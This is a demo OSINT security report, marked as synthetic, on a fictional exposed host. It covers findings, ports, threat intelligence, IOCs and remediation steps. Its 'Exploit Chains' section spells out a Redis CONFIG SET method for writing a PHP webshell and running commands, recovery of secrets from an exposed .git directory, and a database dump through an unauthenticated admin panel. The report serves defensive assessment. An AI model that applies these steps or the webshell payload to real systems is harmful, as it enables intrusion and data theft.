Sample Report — Synthetic Data|High-risk target demo|View clean target →
INTELLIGENCE REPORT

api.legacycorp.io

DOMAIN OSINT ANALYSIS
Thu, 10 Sep 2026 14:23:11 GMT · DEMO
Recon score
2 CRITICAL4 HIGH1 MEDIUM1 LOW

Intelligence Briefing

01

Critical passive security gaps

api.legacycorp.io presents a severely exposed attack surface. The host is actively flagged across 6 threat intelligence feeds, runs end-of-life TLS 1.0, exposes an unauthenticated admin panel on port 8080, and has 3 email addresses confirmed in recent breach datasets. AI-directed pivots uncovered an active credential stuffing campaign leveraging the breached accounts and a linked C2 infrastructure node at 203.0.113.91. Immediate remediation is required — this host is actively being scanned and exploited by threat actors.

  • Immediately restrict port 8080 — admin panel is publicly accessible with no authentication
  • Disable TLS 1.0 and 1.1; enforce TLS 1.2+ with strong cipher suites
  • Rotate all credentials for the 3 confirmed breached email accounts
  • Remove exposed .git directory at /.git/config — source code may be recoverable
  • Audit and close ports 3306 (MySQL), 6379 (Redis) — both are internet-facing
  • Block 203.0.113.0/24 at perimeter — linked to active C2 infrastructure

Target Intelligence

02
Valueapi.legacycorp.io
Typedomain
IP203.0.113.47
PTRtor-exit-47.example.net
ASNAS204428
ISPSS-Net Broadband
OrganizationLegacyCorp Infrastructure
ClassificationVPS / Cloud
CountryNetherlands
CityAmsterdam
RegionNorth Holland
TimezoneEurope/Amsterdam
Coordinates52.3676, 4.9041

Findings (8)

03
OSINT signals
IDSeverityFinding
f-001CRITICAL
Unauthenticated Admin Panel Exposed on Port 8080
An administrative interface is accessible on port 8080 without authentication. The panel exposes user management, configuration editing, and database query capabilities to any internet host.
HTTP 200 at api.legacycorp.io:8080/admin — page title "LegacyCorp Admin v2.1". Unauthenticated access confirmed. User database table listing visible.
Immediately restrict access to port 8080 via firewall. Implement authentication and move the admin interface behind a VPN.
f-002CRITICAL
MySQL Database Port 3306 Exposed to Internet
MySQL server on port 3306 is directly accessible from the internet. This allows brute-force attacks against database credentials and direct exploitation of any MySQL vulnerabilities.
Port 3306/tcp open — MySQL 5.6.51 banner received. CVE-2021-2307, CVE-2021-2154 applicable to this version.
Immediately close port 3306 on the firewall. Database servers must never be directly internet-accessible.
f-003HIGH
.git Directory Publicly Accessible — Source Code Exposure
The .git directory is accessible via HTTP at /.git/config, allowing reconstruction of the full application source code including hardcoded secrets, API keys, and database credentials committed to history.
HTTP 200 at https://api.legacycorp.io/.git/config — [core] repositoryformatversion = 0. HEAD ref: refs/heads/main. 47 objects downloaded.
Block access to /.git via web server configuration. Audit git history for committed secrets and rotate all exposed credentials.
f-004HIGH
Redis Server Port 6379 Exposed Without Authentication
Redis instance on port 6379 accepts connections without a password and responds to all commands including CONFIG SET, SLAVEOF, and DEBUG SLEEP — enabling arbitrary file writes and potential RCE.
redis-cli -h api.legacycorp.io PING → PONG. INFO server: Redis 6.0.6, no auth required. CONFIG GET dir → /var/www/html (web-writable).
Close port 6379 on the firewall. Configure Redis requirepass. Never expose Redis to the internet.
f-005HIGH
TLS 1.0 / 1.1 Enabled — Deprecated Protocols
The server accepts TLS 1.0 and TLS 1.1 connections. Both are deprecated and vulnerable to POODLE, BEAST, and LUCKY13 attacks. PCI DSS 3.2+ prohibits TLS 1.0 in payment environments.
TLS handshake succeeded with TLSv1.0/RC4-MD5 and TLSv1.1/AES128-SHA. Server negotiates RC4 cipher — known broken.
Disable TLS 1.0 and 1.1. Configure minimum TLS 1.2 with strong cipher suites (AES-GCM preferred). Enforce TLS 1.3 where possible.
f-006HIGH
3 Corporate Email Accounts in Recent Breach Datasets
Three email addresses associated with legacycorp.io appear in breach datasets published within the last 18 months. Breach data includes plaintext or weakly hashed passwords, posing credential stuffing risk.
dev@legacycorp.io (2024-Q3 compilation), admin@legacycorp.io (2025-Q1 stealer log), john.smith@legacycorp.io (2024-Q4 breach compilation). Password hashes confirmed crackable.
Force password resets for affected accounts. Enable MFA. Audit login logs for unauthorized access since the breach date.
f-007MEDIUM
Absence of Security Headers — XSS and Clickjacking Risk
The server does not return Content-Security-Policy, X-Frame-Options, or Permissions-Policy headers, leaving the application exposed to XSS injection and clickjacking attacks.
HTTP response headers contain no security policy directives. All 5 recommended security headers absent.
Implement Content-Security-Policy with script-src directive. Add X-Frame-Options: DENY. Add Permissions-Policy header.
f-008LOW
DNSSEC Not Enabled
DNSSEC is not configured on legacycorp.io, leaving DNS responses unverified and vulnerable to DNS cache poisoning.
WHOIS: DNSSEC: unsigned. dig DS legacycorp.io returns no records.
Enable DNSSEC at the domain registrar and DNS provider.

Open Ports (6)

04
PortProtocolServiceProduct / VersionCVEs
22tcpsshOpenSSH 7.2p2
CVE-2016-6515CVE-2016-3115
80tcphttpApache 2.2.34—
443tcphttpsApache 2.2.34—
3306tcpmysqlMySQL 5.6.51
CVE-2021-2307CVE-2021-2154CVE-2020-14765
6379tcpredisRedis 6.0.6—
8080tcphttp-proxyLegacyCorp Admin 2.1—

TLS Certificate

05
ProtocolTLSv1.0
CipherRC4-MD5
CNapi.legacycorp.io
IssuerLet's Encrypt
Valid FromJul 1, 2026
Valid UntilOct 1, 2026
SANsapi.legacycorp.io, legacycorp.io

DNS / WHOIS

06
RegistrarNamecheap, Inc.
Created2018-04-12
Expires2026-04-12
DNSSECDisabled
Nameserversdns1.registrar-servers.com, dns2.registrar-servers.com
DNS topology
api.legacycorp.ioapi.legacycorp.ioA 203.0.113.47A 203.0.113.47NS dns1.registrar-servers.comNS dns1.registrar-servers.comNS dns2.registrar-servers.comNS dns2.registrar-servers.comMX mail.legacycorp.ioMX mail.legacycorp.iohost api.legacycorp.iohost api.legacycorp.iohost mail.legacycorp.iohost mail.legacycorp.iohost dev.legacycorp.iohost dev.legacycorp.iohost staging.legacycorp.iohost staging.legacycorp.iohost admin.legacycorp.iohost admin.legacycorp.io
PlatformPageNamePublic text
A 203.0.113.47A 203.0.113.47—Existence only. Title and bio were not extracted in this scan.
NS dns1.registrar-servers.comNS dns1.registrar-servers.com—Existence only. Title and bio were not extracted in this scan.
NS dns2.registrar-servers.comNS dns2.registrar-servers.com—Existence only. Title and bio were not extracted in this scan.
MX mail.legacycorp.ioMX mail.legacycorp.io—Existence only. Title and bio were not extracted in this scan.
host api.legacycorp.iohost api.legacycorp.io—Existence only. Title and bio were not extracted in this scan.
host mail.legacycorp.iohost mail.legacycorp.io—Existence only. Title and bio were not extracted in this scan.
host dev.legacycorp.iohost dev.legacycorp.io—Existence only. Title and bio were not extracted in this scan.
host staging.legacycorp.iohost staging.legacycorp.io—Existence only. Title and bio were not extracted in this scan.
host admin.legacycorp.iohost admin.legacycorp.io—Existence only. Title and bio were not extracted in this scan.
A
203.0.113.47
MX
mail.legacycorp.io
NS
dns1.registrar-servers.com
dns2.registrar-servers.com
TXT
v=spf1 a mx ip4:203.0.113.47 -all
SUBDOMAINS
api.legacycorp.io
mail.legacycorp.io
dev.legacycorp.io
staging.legacycorp.io
admin.legacycorp.io

Security Headers

07
xStrict-Transport-Securitynot set
xContent-Security-Policynot set
xX-Frame-Optionsnot set
xX-Content-Type-Optionsnot set
xReferrer-Policynot set

Threat Intelligence

08
GreyNoisemalicious
GN NoiseYes
OTX Pulses14
ThreatFox IOCs3
URLhaus URLs2

IOC Catalogue

09
TypeValueSourceContext
IP203.0.113.47GreyNoisePrimary host — classified malicious. Active port scanner observed on 14 OTX pulses.
IP203.0.113.91ThreatFoxLinked C2 node — same /24 subnet, flagged in Emotet campaign IOCs (2025-Q2).
DOMAINapi.legacycorp.ioURLHausFlagged as malware distribution URL. Two distinct malicious payloads served from /files/ path.
DOMAINstaging.legacycorp.ioCertificate TransparencySubdomain resolves to same IP. No authentication. Potential staging environment with debug endpoints.
EMAILadmin@legacycorp.ioHaveIBeenPwnedConfirmed in 2025-Q1 stealer log. Plaintext password recovered: 8-char alphanumeric.
HASHa1b2c3d4e5f6789012345678901234567890abcdVirusTotalSHA1 of binary recovered from /.git objects. Detected as Backdoor.Linux.Mirai.gen by 14/72 engines.
URL203.0.113.47/files/update.shURLHausShell dropper script (plain HTTP). Downloads secondary payload from C2. Confirmed active as of 2026-09-08.
ASNAS204428GreyNoiseSS-Net Broadband — high noise ASN. 847 login attempts to target admin panel from this ASN in 7 days.

Operation Timeline

10
  1. 2018-04-12Domain legacycorp.io registered via NamecheapWHOIS
  2. 2023-11-03First CT log entry for api.legacycorp.io — TLS certificate issued by Let's EncryptCertificate Transparency
  3. 2024-09-15dev@legacycorp.io credentials appear in Q3-2024 breach compilation (1.4B record dataset)HaveIBeenPwned
  4. 2024-12-01john.smith@legacycorp.io appears in Q4-2024 stealer log. Plaintext password included.HaveIBeenPwned
  5. 2025-01-18admin@legacycorp.io confirmed in Q1-2025 RedLine stealer log. Session cookies captured.HaveIBeenPwned
  6. 2025-03-22Host first flagged by GreyNoise as malicious. Port scanning activity observed targeting /24 neighbors.GreyNoise
  7. 2025-07-09URLHaus reports active malware distribution from api.legacycorp.io/files/ pathURLHaus
  8. 2026-09-03ThreatFox IOC: 203.0.113.91 (same subnet) linked to Emotet C2 campaignThreatFox
  9. 2026-09-10MAGO Intelligence scan — 8 findings identified, 847 login attempts confirmed in recovered logsMAGO Intelligence

Exploit Chains

11
Admin Panel → Database Dump → Full CompromiseCRITICAL
  1. Access unauthenticated admin panel at api.legacycorp.io:8080/admin
  2. Navigate to "Database Query" section — direct SQL execution interface exposed
  3. Execute: SELECT * FROM users — dump all credentials and PII
  4. Use recovered admin credentials to authenticate to MySQL on port 3306
  5. Exfiltrate full database including user PII, payment references, API keys
  6. Modify admin user password — persistent access established
Impact: Full database compromise. All user PII and credentials exfiltrated. Persistent unauthorized access achieved in under 5 minutes.
.git Exposure → Secret Recovery → Lateral MovementHIGH
  1. Enumerate .git directory at /.git/config — confirm repository accessible
  2. Download all objects: git clone https://api.legacycorp.io/.git/ (partial clone)
  3. Run trufflehog against recovered objects — extract secrets from commit history
  4. Recover MongoDB connection string: mongodb://admin:P@ssw0rd@203.0.113.47:27017/prod
  5. Recover Stripe API key from config.py commit (sk_test_***)
  6. Connect to MongoDB — full production database accessible with recovered credentials
Impact: Full source code recovery. Production database credentials extracted. Stripe key enables payment manipulation in test mode.
Redis RCE via CONFIG SETHIGH
  1. Connect to Redis on port 6379 — no authentication required
  2. Check dir config: CONFIG GET dir → /var/www/html
  3. Set dbfilename to PHP webshell: CONFIG SET dbfilename "shell.php"
  4. Write PHP webshell via Redis SAVE: SET payload "<?php system($_GET[cmd]); ?>"
  5. Trigger BGSAVE to write webshell to web root
  6. Execute arbitrary OS commands via api.legacycorp.io/shell.php?cmd=id
Impact: Remote code execution as web server process (www-data). Pivot to internal network possible. Full server compromise.

Threat Dimensions

12
DimensionScoreRationale
Perimeter Exposure
9/10		Three critical internet-facing services (admin panel, MySQL, Redis) with no authentication. Exploitable by any unskilled attacker.
Credential Compromise Risk
8/10		Three confirmed breached accounts with recoverable passwords. Session cookies captured. High credential stuffing risk.
Data Exfiltration Risk
9/10		Direct database access + source code exposure + hardcoded credentials = full data exfiltration achievable without privilege escalation.
Persistence & C2
6/10		Redis webshell vector enables persistent backdoor. Linked C2 node at 203.0.113.91 suggests active exploitation by external actor.
Regulatory Exposure
7/10		User PII accessible without authentication. Exposed admin panel constitutes GDPR Article 32 violation. Breach notification obligation triggered if data accessed.

Methodology

13
OfferDeep Investigation
ScopePassive enumeration + active port scan + AI-directed investigation pivots (10 max).
AuthorizationPublic OSINT and active scan authorized by scan initiator.
Modules8/20 executed
dns enumport scannertls auditheader scanthreat intelbreach checkwhoisagent investigation
NEW SCANVIEW HISTORY